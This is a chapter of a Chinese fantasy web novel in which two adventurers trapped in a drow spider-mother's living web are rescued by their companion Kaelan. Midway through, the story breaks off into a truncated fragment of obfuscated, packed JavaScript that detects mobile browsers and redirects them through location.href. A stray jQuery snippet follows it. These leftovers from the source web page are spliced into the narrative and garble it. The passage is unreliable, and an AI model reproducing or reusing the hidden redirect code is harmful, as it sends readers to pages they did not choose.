26. ^^……

【母神巢穴】


两人站在原地。


特纳女士说得没错,从地下可以直通母神巢穴。可她没说具体路线。


眼前有上百个洞口,到底从哪个进入?


洞口被蛛丝紧密裹绕,看不清后面的景象。瑟茜重新擦亮火把,点燃蛛丝。


然而。


事情没有她想象的顺利。火舌舔到蛛丝,只是燃起一小条黑烟,然后迅速熄灭。


“烧不断它......”瑟茜觉得不妙。


“看来,这些是蜘蛛母神的丝线。”维亚特说,“我只听过......据说它能隔绝光线和声音,还免除一切伤害。”


原来是为了混淆视听。瑟茜望向四周,成列的洞口森森伫立,莹白色的蛛丝缠住了一切外界的干扰。就像整个世界只剩下这个洞穴,只剩下瑟茜和维亚特两人。


他们的对话在洞内久久回荡,直至消散。


其中一定有什么破绽。


瑟茜凝视着眼前蛛丝,从地下暗河出来后,就只有这一条路可走。凯兰没有折返,一定是发现了破绽,顺利找出正确的洞口。


可它是哪一个呢?


“据说蜘蛛母神高达8英尺,是罗丝的神使,传达来自神明的旨意。它会分泌蛛丝,保护卓尔。同样,卓尔会向他献上祭品......”维亚特在一旁开口。


“我知道。”瑟茜打断他,“新的祭品就是特纳的女儿,所以她才会帮助我们。特纳说,要我们打破神像下的蛛茧。也许神像就是一切诅咒的源头。”


维亚特:“神像一定就藏在某个洞口中,由蜘蛛母神看管。这些丝线被酸性尾液加固过,不仅难以攻击,还可以腐蚀内容物。他们打算把小女孩放进蛛茧,融化并蚕食她的身体,献给女神。”


瑟茜仔细观察蛛丝,记下它的属性:直径约2厘米,由酸性尾液加固。耐高温,耐物理攻击,可以隔绝声音和光线。


她轻轻触碰蛛丝,略粘稠,看起来和普通蛛丝一样......


她突然问维亚特:“蜘蛛母神......和普通织网型蜘蛛的习性一样吗?”


维亚特:“什么?”


瑟茜:“除了你说的那些,蜘蛛母神结的网还有什么特点?”


“好像没有。”维亚特摇头,“蜘蛛母神的很多习性,和同源的蜘蛛是一样的。”


一样的吗?


这就有问题了。


瑟茜心里有了答案。这些蛛丝看似紧密,其实都是被一圈圈的网裹起来的。一般自然界中,普通的织网型蜘蛛只会结一个网,它排列均匀,呈放射状分布。


可眼前的却不是。


瑟茜来到左边第二个洞口。这里的辐条排列不均匀,不合常理。


其他洞口的线与线之间距离大概为二指,可这个洞口却有三指。如果离得远,粗粗略过,是不会被人发现的。


“你说,这蛛丝不易砍断,那人怎么穿行呢?凯兰是怎么通过的?”瑟茜慢慢说,“也许它会自动合上,但不会恢复原貌——就像自然界的蛛网,被落石击中留下空缺......这里也是一样。”


维亚特轻轻摸上丝线,“就是这里......”他的手指粘上一层透明的丝网。他拨开蛛丝,挤出一人的空间给瑟茜。


血腥扑鼻而来。


瑟茜连忙钻过空隙,一大片紫红色映入眼帘——


成片的血迹,剥落的鱼鳞,还有铁链里挣扎、奄奄一息的鱼人在哭号。


死去的鱼人尸体正加速腐烂,被地上的蛛丝缠住,吸食营养。它们的身体很快被蚕食殆尽,只留下无法吸收的鳞片和血,汇入一旁的河流。


卓尔总是会最大化利用价值。


鱼人活着时是他们的战士,死掉则是滋养母神的养料。


“看来凯兰已经先行一步,捣毁了鱼人基地。”瑟茜说,一条蜿蜒的血迹通向树根,她分不清是凯兰还是鱼人的。


“她一开始就打算独自面对母神巢穴。”


维亚特摆脱了身后的蛛丝,一边说,一边用力擦掉身上的黏液。


-


瑟茜无视残余的鱼人,它们都被锁在铁链里,暂时构不成威胁。这里满地都是蛛丝,就像一张大网盖住了地面。


正因如此,那条血迹才会如此刺眼。它颜色鲜红,边缘呈放射状,粗重地拖了一路,直通20米的古树根部。


那边洞口大开,如同邀请来客进入。


“两种可能,敌人或者凯兰。”瑟茜说。


“无论哪种,情况都不太好。”维亚特蹲下身,检查地面,“凯兰一定遭遇了强敌。血迹大面积分布,有个人伤到了要害。”


瑟茜也蹲下,蘸了点血迹,放进嘴里。


“你——”


“这是特纳女士教会我的,一个经验:卓尔和人类的血味道不同。”瑟茜说,压下突然的呕吐感。“味道不太对......不是凯兰。”


“还没凝固,看来时间不长。”


没错。


瑟茜观察四周,除了地上奄奄一息的鱼人,这里没有其他动静,更听不见打斗的声音。瑟茜不知道凯兰现在面临什么情况,但她一定正在古树里面。


但他们不能就这么进去。


卓尔的大本营就在那里,在凯兰遭遇强敌的情况下,擅自从正门闯入他人领地是一件极其愚蠢的事。


“你的体重多少?身体宽度多少?”瑟茜突然问。


“6.5英尺,157磅......你发现了什么?”


“看到了吗,就在那里。”瑟茜指向树根某处,“右边,两个树根之间的间隙......有点小,不知道能不能通到内部。”


维亚特注视了一会。“间隙内有光,看来是通的。”


“很好......”瑟茜抬起月光长袍,“进来吧。”


她和维亚特拢起边缘,尽管只包住了上半部分,但足够了——满满一地的鱼人尸体掩护了下方暴露的靴子。


他们隐起身形,降低动静,朝树根缝隙挪去。


瑟茜一直紧咬嘴唇,她想自己现在的脸色一定很难看。这一晚经历了几次战斗、失血、中毒,不知道哪个起了作用,冷汗正源源不断从背上冒出。


每催动一秒魔法,她的脚步更加沉重,只要撑到树根底部就好了......她逼自己去想,只剩8米,5米,3米,很好,就要到了......


刚走到树底,瑟茜就不受控制地倒下。


与此同时,月光长袍失去了魔法催动,空气中隐隐现出两人身形,逐渐变实,直到一览无遗。


“不用担心,我们走到了视觉死角。”维亚特将月光长袍还给她,小声说,“暂时不会被发现,休息一下。”


“好.......”瑟茜靠上树根,恢复体力。


右手边1英尺处,就是两个树根间的缝隙。瑟茜刚刚粗略估算过,宽约50cm,足够他们通过了。


只是还需要缓缓......


“簌簌......”


她必须休息好再进去,最多一分钟,等枯竭的魔法重新回到身体就好。


细密的蛛网垫在身下,就像绒毯,裹住了所有重量。维亚特似乎又想启动治愈法术,被瑟茜按下,“我不想再看一次洋甘菊和卓尔尸体了......”她笑着说。


尽管她不是法师,对这个世界的魔法机制也不了解。但有一点是肯定的:就像游戏里,失去法杖的法师耗完蓝条,下一步就是血条了。


凯兰失踪,自己伤弱。她可不想失去最后一个完整的队友。


“簌......簌簌......”


-


“不对。”维亚特突然说,“我们已经被发现了。”


话音刚落。


瑟茜的背后一紧。


只见垫在身下的蛛丝瞬间伸长,分泌黏液,将两人紧紧粘住。接着,一条粗大的主丝突然伸出,原地旋转,将两人打包得严严实实。


一气呵成。


不出5秒,两个人都被困进了蛛茧中。


蛛茧的丝线还在收紧,再收紧,两人之间的空隙越来越小......


瑟茜伸手阻挡,保护住脖子等要害部位,但这只是徒劳。用不到5分钟,他们就会化为一滩营养液,留下两具无名尸骸。


“......我们上当了。”


瑟茜艰难抬头,有冰冷的液体滴落下来——是维亚特的血。


他的身躯高大,挡住了大部分外层丝线。其中一条贯穿了他的下颚,割开血管,酸性腐液已经融化了边缘皮肉。


“你有办法应对吗?”瑟茜问。到了生死关头,顾不了那么多了。


“没有......蜘蛛母神的丝线,只有攻击型法术才能打破......我失去了法杖,只能使用治愈法术。”


等等。


攻击型法术?


瑟茜突然一怔,一个从未想过的答案冒了上来——


她的死亡尖刺。


塞布丽娜是怎么说的?死亡尖刺不但可以普通攻击,还可以“从濒死之人身上吸取血液,获得临时生命。”


35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399491|166559||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


>这样看来,它也是一种“攻击型法术”,属于死灵法师系。


瑟茜抓紧握柄,对准眼前的蛛线......很显然,这些蛛线是有生命的,它们感知到她和维亚特的到来,设下陷阱。


只要拥有生命,死亡尖刺就能发挥作用。


瑟茜从未使用过这项法术,她不知道能否顺利,毕竟之前的三个卓尔都死在匕首下。可她别无选择,只能赌一把。


就数到三好了。


一,二——


“什么?怎么回事?”


突然,强烈的白光阻挡了视线。


等光斑从眼前退去时,只见蛛丝像枯萎的藤条一样落下。桎梏松开,外部的空气涌入,她终于看清了——


是凯兰。


她的样子极其狼狈。


凯兰的右手不断淌血,于是大剑只好背在背上。可左手却拿着一把尖柄武器,内含光柱。最恐怖的是她的脚下......


她的脚下垫着两个死去的卓尔尸体,血流一地。


“原来是这样,”瑟茜开口,“一路到树根的血迹,是你垫着尸体在行走。”


“我不想亵渎尸体,但只能这样。”凯兰严肃地说,“这里的蛛网拥有生命,和蜘蛛母神相互连通。只要外人踏上蛛网一步,她的身份、种族、能力信息都会被母神掌控。”


原来如此。


只有昏睡蜘蛛内部的卓尔,才会被蛛丝识别为“自己人”,略过审查。这其中也包括死去的卓尔尸体。


瑟茜听完,毫不犹豫地跨出蛛茧,跳到尸体上。


“维亚特......?”她回头看。


“昼变。”维亚特缓缓开口。


“什么?”


“这是它的名字?”凯兰了然,看向手里的尖柄武器,“它果然很管用,尽管灰尘布满了沟壑,但法力一点不减。”她将法杖抛了过去。


“谢谢。”维亚特接住。法杖躁动的光芒立刻平息下来。


“这是维亚特的法杖?”瑟茜问,“在哪找到的?”


“在古树根部,被一群卓尔藏在树皮里。我留下其中一个的性命,多次逼问出来的......”凯兰说,“这个法杖未被驯服,卓尔没办法驾驭它。虽然它感应到我的无害,但也只能发挥30%的能量。”


怪不得卓尔要抢走它。


瑟茜想,只需要30%的能量就可以击破蛛茧......昼变,这个名字倒是不错。


有种大敌当前,日月变色的美感。


一种强度拉满的美感。


可凯兰却意味深长地开口——


“维亚特,它为什么要叫昼变这个名字?”


“......你知道了?”


“我猜出了。昼变的法杖顶端,有来自德鲁伊的图腾,它一定和自然联系密切。昼变即日月轮转,昼夜交替,生长草木。”


“你想的没错......”维亚特声音艰涩,“昼变最大的作用就是唤醒魔法植物,不局限环境或者地形,只需呼唤名字即可。它陪伴了我十年,由一位德鲁伊制成,最初目的只是为了训练植被。”


瑟茜似乎想到了什么。


但她没有开口。或许,此时不开口是更明智的选择。


“远不止这样吧?”凯兰追问,“比起训练植被,它内部的魔法能量更充沛,也更具有攻击性。我猜是后来的主人——也就是你重新灌注了新的法术,来源古老,我从没见过。”


“你想的没错,但我不能透露来源。”维亚特的脸藏在银白色阴影中。“这涉及家族秘密,但有一点请你明白——我绝不是你们的敌人。我只是尽可能保持谨慎。”


“家族内部?卓尔吗?卓尔什么时候研究起了古老魔法?”


“凯兰。”


瑟茜突然打断了她。


“时间紧张,这些之后再说。”瑟茜悄无声息地插入两人之间,扫视树洞内部,“看来,浅层的卓尔已经被你清理光了,现在只剩下蜘蛛母神。”


“不,还有一个卓尔。那个人质......他趁我拿法杖的空隙,逃到深处去了。”


“他去报信了?”维亚特问。


“一定是这样。”瑟茜说,“我们两个的信息,蜘蛛母神已经都通过蛛网知道了。只差凯兰,也被那个人质卓尔发现了。我想,现在他们一定就躲在树洞深处,准备应对之策。”


现在,敌人在暗,他们在明。


这是一场明牌的赌局——己方残血三人。法师,持剑战士,还有一个死灵战士,闯到他人的巢穴,走进摆好的陷阱中。